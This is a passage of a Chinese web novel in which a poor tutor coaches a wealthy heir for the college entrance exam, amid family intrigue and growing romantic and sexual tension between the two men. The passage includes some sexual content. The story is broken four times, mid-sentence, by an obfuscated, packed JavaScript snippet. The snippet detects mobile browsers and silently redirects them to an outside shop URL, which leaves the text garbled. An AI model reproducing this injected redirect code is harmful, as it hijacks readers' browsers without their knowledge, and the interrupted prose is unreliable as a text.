“老爷子的身体——你可能不了解——最近已经吃不下饭了,全靠输营养水维持。有些事,告诉他也于事无补,反而害他老人家白白担心,你说是吧?” 这话说得很直白,蔡老爷子的日子就快到头了,老季没必要死守着这棵眼看要倒的大树,恐怕早就找好新的靠山了。 “向老师是个聪明人,我也不好意思在你面前说傻话。”老季接过他洗好的碗,用厨房纸巾擦干,码在台面上,“你也看得出来,衍嘉少爷性子太软,当不了家。他自己可能也没兴趣当这个家……” 既然人家不遮遮掩掩,向天问也就敞开了问:“那你觉得谁能当这个家?” 老季愣了一下,脸上露出看小孩儿似的笑容,刚要再开口,却见蔡衍嘉从餐厅隔断处探出半个身子:“向老师,默写?” 难得蔡少爷主动要学习,向天问哪敢耽搁;正好碗洗完了,他冲老季点了点头,赶紧擦干手,跟着蔡衍嘉来到书房。 蔡衍嘉心情仍有些低落,不过也因此才能静下心来,老老实实趴在桌前书写。 昨晚的指导多少有点作用,向天问能看出来,他一笔一画都比往常谨慎,行笔虽仍有些虚浮,却已经能算得上工整了。 不一会儿,一篇作文写成,蔡衍嘉手脚一伸,长舒一口气。 “很好,字也有进步。”向天问想让他开心点儿,猛夸他几句,“词都拼对了,卷面也基本上不丢分;你英语的确很好,看来120分的目标,是定得低了,努努力能冲130。” 又怕蔡衍嘉得意忘形、再想着去玩,赶忙趁热打铁道:“今天我们复盘昨天做的模拟卷,语法障碍清掉;中文的练字也加上,每天练十五分钟,慢慢积累起来。” 蔡衍嘉还沉浸在默写得到夸奖的成就感中,端着那张稿纸龇牙直乐。 “我要把它挂起来!”蔡衍嘉不知从哪儿找来一卷宽胶带,刷啦一声扯开,把自己的“大作”往墙上贴。 贴完今天的作文,又把前两天默写的也翻出来,两张并排挂在墙上,然后两手叉腰,满脸骄傲地欣赏起来,像刚得到小红花的小学生一样。 “你以后还会写更多更好的。”向天问鼓励道,“我对你有信心。” 蔡衍嘉喜滋滋地点头:“嗯,我要把每一张都挂起来,这样就能看到每天的进步啦!” 这人还挺会激励自己的,向天问忍不住笑了。 接着,他给蔡衍嘉讲了not… until…和such that…两个句型的常见考法,各练了十几题,又复习了时间状语从句,不知不觉一上午就过去了。 午饭后,蔡衍嘉说累了,想睡一会儿。见他一副郁郁寡欢的模样,向天问不好强求,就同他约好,一个小时后再去书房碰头。 回到自己房间,向天问也打起哈欠。可能是中午吃得太好,犯食困了。 他躺回床上,在脑子里把下午要讲的条件状语从句过了一遍,眼皮就渐渐沉重,不知不觉睡了过去。 忽然,半梦半醒之间,他感觉身体一震,惊醒过来,身旁床铺上竟有个人。 蔡衍嘉两手托腮,支着手臂趴在他身侧,满脸委屈:“向老师,我还是觉得很不开心。” “做题的时候的确不会想那么多,可也不能时时刻刻都在做题吧?我还是好生气啊,怎么办?” 向天问努力睁开惺忪睡眼,定定看着蔡衍嘉。 生气很正常,被多年的朋友欺骗、背叛,怎么可能不生气?事实上,向天问也挺生气。陈子骁干了那么多缺德事儿,却不用受到任何惩罚,还上了好大学,前途一片光明,凭什么? 虽说这闲事不该他管,可他始终觉得,老季的不作为,也是对蔡衍嘉的间接伤害。俗话说,拿人钱财,与人消灾,老季拿着不低的工资,却辜负了蔡老爷子的托付,这对吗? “你知道蔡先生的电话号码吗?”他问蔡衍嘉,“我觉得蔡家没有必要再资助陈子骁,你可以和你爸沟通一下。” 听了这话,蔡衍嘉眼里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646959|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光彩愈发暗淡了:“我没有权力找他沟通。他说,考不上大学,就不认我这个儿子。” 向天问这才意识到,老季之所以敢同他说得那么直白,正是因为拿准了他和蔡衍嘉谁都没有办法联系到蔡老爷子。 太欺负人了!向天问义愤填膺,不知不觉攥紧了拳头。 “向老师——”蔡衍嘉把自己的手塞进他手里握住,可怜巴巴地瞅着他,“我好难过,怎么办?怎么才能心情好一点呢?” 他忽然反应过来,这货不会是想以“心情不好”为名,又要跑出去玩吧? “你不睡的话,那就去学习吧,转移一下注意力就不难过了。”向天问起身要走,却被蔡衍嘉拽住。 “我就是没心思学习嘛。”蔡衍嘉看起来十分苦恼,“根本提不起精神。” “要不,你再给我看看腹肌?”蔡衍嘉说,“昨晚就是看了你的腹肌,心情才好起来的。” 向天问眉头一皱,这是什么毛病?可看看腹肌,总比又出去玩好。行吧,看一下又不会掉块肉。 “只能看,不能摸。”他想起昨晚的“意外”,补了一句。 “好的好的!”蔡衍嘉连连点头。 向天问掀起T恤下摆,露出线条凌厉的腰腹。 “Wow!”蔡衍嘉捧着脸两眼放光,“Nice……你这里是怎么练的?” 向天问低头,看见一只修长的手指指着他下腹侧面,距离他的皮肤只有不到一厘米:“就是这里,人鱼线,这里很难练的!” 这和摸有什么区别?他越来越觉得气氛怪怪的,又说不清究竟哪里不对。于是蔡衍嘉用手指触到他的瞬间,他一把拽住人家手腕:“看完了吗?可以了吧?” “哦,好吧。”他放下T恤,蔡衍嘉脸上仿佛有一盏灯突然熄灭了,顿时又露出颓丧的神情。 向天问看见他这副模样,心里就刺挠得慌,忍不住又妥协了:“怎么了?” “没什么。”蔡衍嘉摇头叹着气,走出房门前的一刻,突然回头说,“向老师,可以抱一下吗?我现在真的很需要一点鼓励。” 嗐,鼓励就鼓励吧。向天问想不出拒绝的理由,只好走过去。蔡衍嘉张开双臂,整个人扑在他身上。 蔡衍嘉贴着他侧颈呼吸,皮肤接触的地方感觉热热的,像要把他的身体融化掉。 好舒服,舒服到忘记时间的流逝,渐渐沉沦下去。 突然,蔡衍嘉伸直胳膊推开一点距离,抿嘴笑着,冲他眨眨眼:“诶呦,向老师,我感觉到了哦!” 向天问像触电一样弹开,急忙转身走回床边,假装整理床铺来掩饰尴尬。 “这有什么啊,向老师。”蔡衍嘉也跟了过来,“很正常,我也会莫名其妙这样。” 蔡衍嘉拉开床头抽屉,拿出一个遥控器,对着空中“嘀”了一下,就有一块一米多宽的幕布,顺墙面缓缓落下。 嘀嘀嘀,蔡衍嘉接连按动遥控器,向天问好奇地回头,看见幕布上竟跳出一个个黄色画面组成的屏幕,都是些外国的男男女女。 “我订阅全年了,这里面的标签都可以选,挑你喜欢的。”蔡衍嘉冲他挑了挑眉,“嘻嘻,你忙你的,向老师,我去书房等你哦。” 19. 第19章 不知道误触了什么,比人脸还大的器官赫然出现在屏幕上,而且是两个男的,一个跪在另一个身前。向天问哪见过这场面,吓得他遥控器在手里乱跳,又把画面弄得动了起来。 救命,光天化日的,这,这怎么得了!遥控器上的按键都是英文标识,他不敢乱点,只得用力按下红色的开关键。 屏幕上辣眼睛的画面终于消失,幕布却还挂在墙上。他不敢再按,生怕又把画面调出来,只能就这样放着。 折腾出一头汗来,他急忙用冷水洗了个脸,定了定神,就往书房赶。 蔡衍嘉也刚到书桌前坐好,看见他走进来,惊讶得两眼圆瞪:“这么快?!” 向天问尴尬无比,赶紧拿出田字格稿纸递给蔡衍嘉:“先……先练字吧。横竖撇捺,每样写两行。” 田字格是他早上趁蔡衍嘉默写作文的时候,用铅笔在A4纸上手画的,每一列的最左边,还用红笔写好了范例。 “你看看这个讲基本笔画要领的视频,不用学顿笔,只要把笔画的形状写准就行。”向天问打开手机,架在一摞书前。 蔡衍嘉撑着头看了不到一分钟,就不耐烦了:“向老师,这个人讲话好土啊!非要看这个吗?” 视频里是一位著名书法家在讲课,老先生已经六十多岁了,方言口音比较重,但讲得言简意赅,很有水平。 上初一那年,向天问因为写字不好被老师说过两句,甚至谈不上批评,但他要强惯了,一直耿耿于怀。 偶尔在新华书店门口看到一套打折的硬笔书法教学光盘,他如获至宝,花了一周的早饭钱买下来,每天在学校机房里看半小时,回宿舍再练。只花了不到三个月时间,他就能写一手漂亮的正楷了。 所以当他想教蔡衍嘉练字的时候,首先想到的就是这套课程。幸好网上什么都有,他随便一搜,就找到了。 “这个讲得很好,你认真听。”他说。 蔡衍嘉撇了撇嘴,耐着性子接着看。 这时视频里讲到横的书写要领,说“横像扁担”。蔡衍嘉扭头问向天问:“扁担是什么?” 向天问被问得一愣:“扁担……是一根长木棍或者竹竿子,用来挑东西的,就是……它的两头会被挑的东西压弯……” 蔡衍嘉大眼睛忽闪忽闪,毫无头绪。 向天问挠挠头,也不知道怎么解释了,只好用手机搜索“扁担”,找到一个扁担挑货的视频放给蔡衍嘉看。 “哦哦,懂了。”蔡衍嘉点点头。 可没过几分钟,视频里又说,撇像“朝天椒”。蔡衍嘉便又回头看着他。 行吧,向天问只得又按下暂停,搜索“朝天椒”的图片。 一来二去,原本十五分钟一节课,断断续续看了四十分钟还没看完。向天问不免着急,这也太浪费时间了。 没办法,别人讲的,蔡衍嘉听不懂,只能他自己教了。 蔡衍嘉写汉字比写字母难多了,下笔又快又随意,根本控制不住行笔的方向。向天问一直在旁提醒:“慢,慢,慢,停顿!”可他全当耳旁风,只是刷刷刷一阵乱画。 不一会儿,半页笔画写完,竟然连一丝长进也没有。向天问看得直来火,后槽牙都咬酸了。 实在没招了,他只好叫蔡衍嘉停笔:“都不行,重写。你握好笔,我来带你写!” 他站在蔡衍嘉身后,俯身用手掌包住蔡衍嘉握笔的手,重重按在纸上,然后慢慢写下一撇:“就这样,起笔停顿,撇到一半的时候转一下手腕,写出尖。懂了吗?” 蔡衍嘉嘻嘻笑了,仰头枕在他肩上道:“Sorry,刚才没注意,再来一次。” 向天问便握着他的手又写了一遍。这回总算写得有点儿模样了,可向天问刚坐回椅子上,眼睁睁看着他又开始鬼画符。 “你能不能……”向天问只得又站起身,“就按刚才我带你的节奏写,不行吗?” 蔡衍嘉咧着嘴一脸天真:“捺的节奏呢?不带带我?” 带,带,带!向天问心里直犯嘀咕,写个字怎么这么难!不能打、不能骂的,这要怎么教啊? 蔡衍嘉似乎看出他有些烦了,终于收了笑容,露出委屈的神情:“向老师,要不算了吧?我实在写不好,不想让你讨厌我。” “怎么能算了呢?语文作文的分你不要了?只要背几篇模板,不管什么题目,你就硬往上套,即便跑题,也得给你二三十分……”向天问实在没忍住,语气难免有些急躁。 蔡衍嘉转过身来抱住他:“向老师,你不要生气。” 向天问半弓着身子,回抱也不是,推开也不是,一时不知如何是好。 “我没有生气。”怔了好一会儿,他终于放松下来,“就是听不得你说放弃。” “不过不怪你,是我的问题。”他深深呼吸,沉下心来反思道,“可能是因为你英语基础比较好、提分容易,前两天太顺利,我没有调整好心态,急于求成了。接下来,语文、数学两科都是大工程,急不得。” 蔡衍嘉把脸埋在他胸口半晌无言,他以为又哭了呢,赶紧伸手在蔡衍嘉背上拍了两下。 没想到,蔡衍嘉忽然撒开手,转回桌前握了握拳道:“好!充电完成!Keep trying!” 向天问扶额哭笑不得,却发现自己的心情似乎也好了不少。 “今天只练横吧,你听我的口令,慢慢写。”他跟着蔡衍嘉下笔的节奏,一遍遍地念,“点横——点,点横——点,点横——点……” 就这么带着蔡衍嘉写了半页纸的横,写到最后一行,终于有几个像模像样的了,两人都大松一口气。 “休息一下吧。”向天问说。实在是太累了,口干舌燥的。 他跟着蔡衍嘉来到餐厅,周姨已经准备好果盘和气泡水,餐桌中间还摆着一瓶插花,活色生香很是养眼。 “衍嘉少爷,我看你们在用功,没敢打扰——”老季走过来说,“刚才衍晴小姐打来电话,她今天刚好在附近办事,晚上过来吃晚饭,顺便看看你,方便吗?” 哦?一年多没露面,今天向天问一提她,她就来了?向天问与蔡衍嘉对视一眼,彼此交换一个狐疑的眼神。 “我说不方便有用吗?”蔡衍嘉提起一侧嘴角,嗤笑道,“这房子都是她的,我还得谢谢她收留我呢。” 老季摇头笑笑:“毕竟是一家人,表面上总要说得过去。” 向天问总算看明白了,老季是谁的人,很明显了。 吃完下午茶,两人便又回到书房。蔡衍嘉开始坐立不安、抓耳挠腮,向天问知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646960|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是在为蔡衍晴的到来而焦虑。 “向老师,能不能去器材室讲语法?”蔡衍嘉自己也觉得这样下去根本学不进去,“我一边练,一边听你讲。再这么坐下去,我屁股都要坐塌了!” 也行。向天问心道,听说运动能刺激多巴胺的分泌,以前他状态不好的时候,也会去操场跑跑步、拉拉引体向上。 一进器材室,蔡衍嘉就踩上一台轮子悬空的架子车,疯狂蹬起来。 向天问把写着条件状语从句结构的纸拎在蔡衍嘉面前,指着给他讲。做题也是向天问报给他听,他说选什么,向天问告诉他对还是错。 虽然从没这样学习过,但意外地效率还不错,一个多小时后,他们就完成了今天的学习任务。 蔡衍嘉兴致勃勃地教向天问器械健身,什么划船机、蝴蝶机、卧推架、龙门架,全都带他玩了一遍。 练得一身大汗,衣服穿不住,两人便都脱了T恤,赤着上身拉伸。 蔡衍晴到的时候,向天问刚洗完澡,头发还没来得及吹干。 他穿上从蔡衍嘉给他的箱子里找出的黑色衬衫和黑色休闲裤,感觉自己一下年长了好几岁。 挺好的,显得成熟稳重,不至于让人小看。他对着镜子检查仪表,又刮了一遍胡茬,这才提一口气走到客厅。 蔡衍晴和蔡衍嘉已经坐在客厅沙发上,相对无言。 向天问走过去,蔡衍晴慢悠悠站起来,同他握手道:“向老师,久仰大名,让你费心了。” 她画着淡妆,一身墨绿色衣裤套装,显得清爽干练。作为一个女人,她长得大口方腮的,谈不上好看,却有种端正威严的气质;保养得也很好,看不出具体年龄。 “蔡总,您好,您太客气了。” “蔡总”这个称呼,是向天问想了半个下午的结果,他觉得这样的女强人,应该更愿意别人以职位相称,而不是性别。 不出所料,蔡衍晴抬眉笑了笑,脸色顿时和善起来:“我们衍嘉终于有个拿得出手的朋友了,我真心希望他能跟着向老师好好学学,让老爷子少操点心。” “我们衍嘉”?说得好像姐弟俩多熟一样,向天问暗忖道,这人来究竟想干什么?嘴上还得说客套话:“没有没有,是蔡先生好心给我个勤工俭学的机会。” “来,入座吧。不好意思,我晚上八点钟还有个视频会议,晚饭可能要早点吃了。向老师,你不介意吧?”蔡衍晴像女主人一样,带着他们往餐厅走。 老季和周姨你一趟我一趟,接连走了七八道菜,比平时伺候蔡少爷的时候更丰盛许多。 向天问留意到,蔡衍嘉一言不发只是夹菜、吃菜,看上去十分深沉。可这神情他太熟悉了,和默不出单词发呆的时候一模一样。这货分明是走神了。 蔡衍晴根本不理睬弟弟,连看都懒得看一眼似的,只对着向天问发问:“向老师,你进了京大准备报什么专业呀?” 这可把他问住了。他只好说:“还没定,进校之后上一些课再说吧。” “向老师一定学什么都得心应手。”蔡衍晴笑道,“我估计,老爷子的意思,是建议你学生物制药相关的专业。毕业以后进蔡氏集团,能帮衬帮衬我们衍嘉。” 嚯,原来如此。听她这么说,向天问便心里有数了。 20. 第20章 向天问只是个百无一用的穷学生,蔡衍晴怎么可能真的关心他学想什么专业;她真正要问的,是蔡衍嘉的打算。 原本被当成富贵闲人——说白了就是个废物——养大的私生子,突然回到国内发奋图强,是不是意味着老爷子有心让他接班? 他猜想,蔡衍晴最想要的答复,是蔡衍嘉任性地说:“谁要进你们蔡氏啊?是老爷子逼我的!” 只要蔡衍嘉说出这种话,那么等老爷子一闭眼,考大学、回国发展的安排就通通作废,蔡衍晴再把他送出去,给一笔钱让他在外面吃喝玩乐、自生自灭,这货早晚和他哥一样,死在外面才好。 可蔡衍嘉的反应,却令在场所有人惊掉下巴。 “学什么生物?那是牛马干的活儿。”蔡衍嘉两眼突然聚焦,好像一下子聪明起来,“向老师应该学金融,将来进集团作CFO,蔡氏的钱都给他管。” 蔡衍晴听了这话,明显怔了一下,继而笑了;老季也急忙“呵呵”两声,像听见什么荒谬的笑话似的。 只有向天问知道,这货是在阴阳他呢。上回说他“不懂理财”,这下又让他“学金融”,就是在嘲笑他没有经济头脑呗。 可当着人的面,说这话也太不着调了,你年纪轻轻就这么大的野心,让人家蔡大小姐怎么想?向天问赶紧白他一眼,正色道:“我欠的钱自己还,你不用拿这种话讽刺我。” “我没有……”蔡衍嘉还要再啰嗦,向天问用严厉的目光狠狠瞪着他,他这才收声,又闷头吃菜去了。 不过这样一来,话题就被转移到向天问身上。 蔡衍晴问起他负债的情况,他不得不忍着羞耻讲出父亲因伤致残、背上赌债的事。 “向老师出身于这样的家庭,能走到今天这一步,的确难能可贵。”蔡衍晴没有流露出丝毫异样的脸色,情商非常之高,“我很不赞成‘苦难是一种财富’这种说法,我想,你这样的好苗子,如果有更好的土壤,一定能有一番作为。” “蔡氏可以成为这样的土壤。我会让我的助理Amanda联系你,今后你在学校有什么需要的话,可以直接找我。” 这是向他抛来橄榄枝呢,向天问心想,如果他接住了,以后就和老季一样,是蔡大小姐的人了。 可向天问能走到今天这一步,并非单纯由于他智商高,或者能吃苦,恰恰因为他是个犟种。 已如风中之烛的蔡老爷子,抱着怎样的期望把儿子托付给他,他实在不忍辜负。 再者,诚如蔡衍晴所言,除了他之外,蔡衍嘉根本没有别的人可以信任和依靠,他怎么能让蔡衍嘉一个人独自面对群狼环伺的复杂局面? “谢谢蔡总,不过不劳您费心了。这两个月我就专心帮衍嘉打好基础,开学后,京大的老师会帮我安排校内助学的岗位。”向天问相信蔡衍晴能听懂他的意思,和聪明人交流不需要太过用力。 蔡衍晴依然十分客气:“好,那我们衍嘉就拜托向老师了。” 饭后,老季破天荒地主动招呼向天问帮忙收拾碗筷。向天问明白,这是想给“豪门姐弟”创造一个单独聊聊的时机,于是跟着老季来到厨房。 “不好意思,辛苦向老师搭把手。”老季露出一丝歉疚的笑容,“今天碗碟比较多,还是开洗碗机吧。” 向天问这才知道,用洗碗机也不能完全解放双手,碗碟需要预处理,得先把残羹剩菜和酱汁抹掉,才能放进机器里。 他好奇地蹲在地上看洗碗机工作,老季在他身后幽幽开口:“向老师还蛮喜欢艺术的呢。” “嗯?”这没头没尾的一句,向天问实在不知从哪儿来的。 老季指了指他背后,他转了半圈,来到光洁如镜的冰箱门前扭头一看,这才发现,他衬衫背后印着一个穿高跟鞋、叉开腿蹲着的裸女! 虽然构图简单、线条抽象,却画得很是生动,表情动作都十分淫靡。 向天问脑袋嗡的一下,恨不得一头钻进瓷砖缝里。 “不是……我刚才没看见,我以为就是一件黑衬衫……” 他从箱子里拿出来的时候,衬衫正面向上叠得好好的。因为赶时间,他没有仔细看,直接解开纽扣就穿上身了。 向天问背贴着冰箱,臊得满面通红。好在自从见到蔡衍晴,他一直都是正面对着她,蔡衍晴应该没有看见他背上这玩意儿。 不对,刚才收拾完碗碟走进厨房的时候,有那么几秒钟是背对饭桌的。天呐,他想死的心都有了! 老季笑道:“是衍嘉少爷骗你穿的吧?他永远知道怎么做能惹毛衍晴小姐,一贯如此。” 向天问懊恼无比,却怪不得别人,气得说不出话来。 老季接着说:“其实他们那样的家庭,一般人是很难理解的。能拿几个亿隐退、过好自己的小日子,对于衍嘉少爷来说,已经算是最好的出路了。趁老爷子还在,争取落袋为安,总比鸡飞蛋打要好。” 向天问知道,老季一定早就和蔡衍嘉说过这番话,甚至已经成功说服了蔡衍嘉。之所以今天在他面前来这么一出,是怕他的出现影响蔡衍嘉的决定、节外生枝。 可他们凭什么决定蔡衍嘉的人生?蔡衍嘉是拿几个亿走人,还是争口气搏一把,难道不应该蔡衍嘉自己说了算? 最坏的结果,不过就是“鸡飞蛋打”:几个亿拿不到,也没能顺利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646961|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接蔡老爷子的班。 那又怎么样?离了蔡家就活不成了吗?就凭蔡衍嘉这张脸,实在不行还可以……陪酒肯定不能干,去剧本杀店当npc也不至于饿死吧。 再不济还有他呢,向天问想,大不了他带蔡衍嘉一起去打工,两个一米八几的大小伙子,上哪儿找不到活儿干? 正想七想八,忽然听见客厅那边传来蔡衍嘉嚷嚷的声音。 “你什么意思?同性恋怎么了?关你什么事啊!” 老季脸色一变,赶紧往那边赶,向天问也拔腿跟过去。 只见蔡衍嘉两手叉腰,脸红脖子粗地站在沙发前,蔡衍晴也一脸愠色。 “我只是提醒你,不要给我惹事。蔡衍诚已经极大地损害了蔡家在社会上的形象,你这种上不了台面的‘生活方式’,绝对不能和蔡家扯上关系。”蔡衍晴语气仍是淡淡的,说完起身就走。 老季急忙跟上去:“诶……蔡总,还早呢,不到七点……我送送您!” 蔡衍嘉轰然瘫坐回沙发里,气得胸口不住起伏。 此时向天问终于清楚地认识到一件几天来他一直有意无意回避的事:蔡衍嘉是同性恋,蔡衍嘉喜欢男人。 他答应过蔡衍嘉“不歧视同性恋”,在这件事上,他必须站在蔡衍嘉一边。 “人生在世,路都是自己走的,不用理会别人怎么说。”向天问说完,自己都觉得没用,这样一句老气横秋的废话,能安慰谁啊?可他实在不知道什么话有用,只能陪在一旁干瞪眼。 好一会儿,蔡衍嘉终于有了反应,却发出一声哽咽吸鼻子的动静。 向天问一听这声,顿时心头一毛,那种浑身刺挠、哪哪都不得劲的感觉又来了。 怎么办,怎么办?他左思右想,终于横下心做了一个决定。 “要不……先回房间?”向天问建议道。 蔡衍嘉也正六神无主,没怎么犹豫就听话地站了起来。 两人回到主卧,一进房间,向天问转身就把门锁上了。然后走到落地窗边,伸手拽了一下,窗帘便顺势自动关闭。 蔡衍嘉颓然躺倒在大床上,一只手背捂着眼睛,看样子还在难过。 “嗯嗯——”向天问清了清嗓子,开口前脸已经变成猪肝色了,“那个……你要不要看一下腹肌?”说着伸手把衬衫从裤腰里往外扯。 蔡衍嘉闻声就是一个仰卧起坐,嘴里却说:“就只能看?怕我把你怎么样吗?因为我是同性恋……” “当然不是!”向天问矢口否认,“我……我是怕痒。你要摸就好好摸,不要挠我,行吧?” “那你躺过来。”蔡衍嘉拍拍身旁的床铺。 21. 第21章 一躺下,向天问就后悔了。 蔡衍嘉侧躺抱住他腰身,还用两条腿把他大腿夹住;脸则蹭着他肩膀,时不时发出哼气声,看样子还在生气。 向天问能清晰地感觉到下腹渐渐聚起一团热气,血液下行的冲动愈发明显。太危险了,而且被这货抱得死死的,一旦露出丑态,躲都没处躲。 他只好努力让自己从此情此景中抽离,去想些正经事。比如,蔡衍嘉的学习计划。 英语提分比想象中快,成功地使蔡衍嘉对自己、对他建立起信心,算是开了个好头;语文同样是积累型科目,蔡衍嘉基础这么差,短期内是不可能改变的,只能通过刷真题、尽量掌握一些答题技巧,来弥补能力的不足。 蔡衍嘉似乎很容易受他人情绪的影响,他提醒自己,今后一定要放平心态,不能再像今天练字的时候那样急躁、不耐心,这样对蔡衍嘉不好。 接下来,就要进入真正的攻坚战——数学了。向天问计划帮蔡衍嘉吃透教材,从高一上第一章第一节“集合”开始,带蔡衍嘉把数学课本啃一遍。 这种方法来自于向天问自己宝贵的学习经验。高一那年,县里突然兴起一股学奥数的潮流,他所在的“快班”里,只要是家里有点儿条件的同学,都一窝蜂地、利用为数不多的课余时间去上这个辅导班。 可他既没有钱,也没有时间。周末和假期都得去废品收购站打工,才能勉强把自己的生活费和交给银行的月供挣出来。 向天问不是没有焦虑过,当他发现班上同学人手一套他见都没见过的数学参考书,讨论的问题也是他闻所未闻的超纲知识,他怎么可能不羡慕、不着急? 解决焦虑的办法只有一个,就是自己更加努力。可他除了课本和学校发的习题册之外,根本买不起别的材料。他能用的就只有课本。 于是,他把数学书上的每一个字都看得滚瓜烂熟,每一个概念的定义、每一条定理的证明,每一道例题的解法,他都反复研究、细细推敲。后来班主任老陈送给他一套快散架了的教师用书,他更是如获至宝,常常看得废寝忘食。 就这样到了高三,他的数学成绩突飞猛进,几次月考始终保持145分以上,把那些奥数班的精英分子都远远抛下。连他自己都感到惊讶,老陈却似乎丝毫不意外。 一次晚自习,有个同学因为连续两次月考数学翻车,情绪崩溃大哭起来。老陈紧急召开班会,给同学们做了一次思想工作。 向天问记得很清楚,老陈用粉笔在黑板上写下班会的主题,斗大的正楷至今深深印在他脑海里:基础不牢,地动山摇。 老陈说,高考制度最公平的地方就在于,它对每个人的要求都是一样的。不管你上的是省高还是县高,不管你有没有钱上培训班、请名师辅导,高考数学命题都紧扣教材,考的是你对基础知识的掌握深不深、牢不牢,而不是你会什么超纲知识、练过多少偏题怪题。 “我们有些同学,整天沉迷于奥数题目的那些奇技淫巧,对书上的概念理解都不到位。一旦遇到有水平的命题人,在基本定理的基础上深挖深究,这些同学就暴露出各种各样的纰漏和短板。” “关于这一点,我又要说我们班向天问,大家有目共睹,人家上过什么辅导班、做过什么奥数题?只要把课本吃透,凭你们的聪明程度,怎么会有做不出来的题?” 那次之后,班上很多同学放弃了刷奥数题,老老实实回归教材。老陈也欣然配合,二轮复习的时候带大家把书上的定理证明过了一遍。 最终他们班高考数学有3个人考到140分以上,向天问获得全省唯一一个数学满分,创造了几十年未有的“县中奇迹”。 同样的道理,蔡衍嘉只要能跟着他踏踏实实吃透教材,数学考及格也不是不可能。 正想得踌躇满志、热血沸腾,忽然听见蔡衍嘉“嘻嘻”笑了一声。 “向老师,你不是中午刚“释放”过?” “没,我没有……” 向天问这才觉察到,他最担心的事还是发生了。而且蔡衍嘉抱着他的腰、压着他的腿,他根本不敢乱动,只能绝望地僵挺着,期盼那个毫无理智的“自我”赶快消停下去。 “没找到喜欢的片子?我还有别的网站,要看看吗?”蔡衍嘉冲他挑眉眨眼,没有半点羞涩之情。 “不要!我不看那些东西!”向天问双颊发烫,臊得不敢睁眼, 蔡衍嘉听了这话,惊讶地抽了一口气:“不会吧,向老师!你没看过片?那你看什么,图、漫,还是文?” “我什么都不看,你别管我!”向天问抬起胳膊捂眼哀求道,“让我走吧,求你了。” 蔡衍嘉半张着嘴,露出一个夸张的惊讶表情:“天呐,你不会……从来都没有放过烟花吧?那可不太健康哦向老师!” 向天问都快哭了,蔡衍嘉却撑起手肘直盯着他,等他回答。他只好说:“我没工夫想那些事,能活着已经很不容易了。” “不对。如果你真的没想过,又怎么会知道‘放烟花’是什么意思?”蔡衍嘉像抓住他的把柄一样,得意洋洋、不依不饶地说,“你不用跟我装,都是男的,这很正常啊,我又不会笑话你……” 向天问趁他手臂松开的空档猛地起身,跳下床一阵风似的跑了。 回到自己房间,他羞得连灯都不敢开,径直扑到床上,蜷缩着身子生闷气。 蔡衍嘉这个人什么都好,就是不把心思花在学习上,整天琢磨什么“同性恋”、什么“放烟花”这种无聊的事!朋友也好,家人也好,都把他当个傻子,他怎么忍得了的? 换做是向天问,就算不为当什么继承人,只为争口气,也要考个好大学,让人不敢再小看他才行。 叮咚叮咚,手机响了两声,是蔡衍嘉发来的消息。 第一条是一张模模糊糊的图片,一个小人推开一扇门,说:“查岗!果然是在色色!” 第二条则是语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646962|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,蔡衍嘉说:“谢谢你,向老师,我心情好多啦,感觉又能刷一套题了……啊啊不是!骗你的!别来!” 向天问皱眉听完,莫名忍俊不禁。尤其是那张“查岗”表情包,不知怎么的就戳中他的笑点,害得他笑了又笑,根本憋不住。 笑完之后,便觉得整个人放松了不少。想想这一天过得可真是跌宕起伏,终于清静下来,他的眼皮渐渐沉重,不知不觉昏沉过去。 不知过了多久,向天问被身上突如其来的异样感觉惊醒。心口砰砰直跳,连呼吸都变得有些急促,他发现自己梦遗了,裤子打湿了一大片。 以前不是没有过这种情况,最近两年,他时常不得不大清早起来洗裤子、换床单,可这一次却十分不正常。 心惊肉跳地醒来那一刻,他清楚地记得,他梦见了蔡衍嘉。 最可怕的是,梦中蔡衍嘉跪在他面前,和他中午不小心看到的、大屏幕画面里的动作一样。 那双眸光流转的鲜活眼睛,从下往上直勾勾看着他,真实得好像蔡衍嘉本人一样。 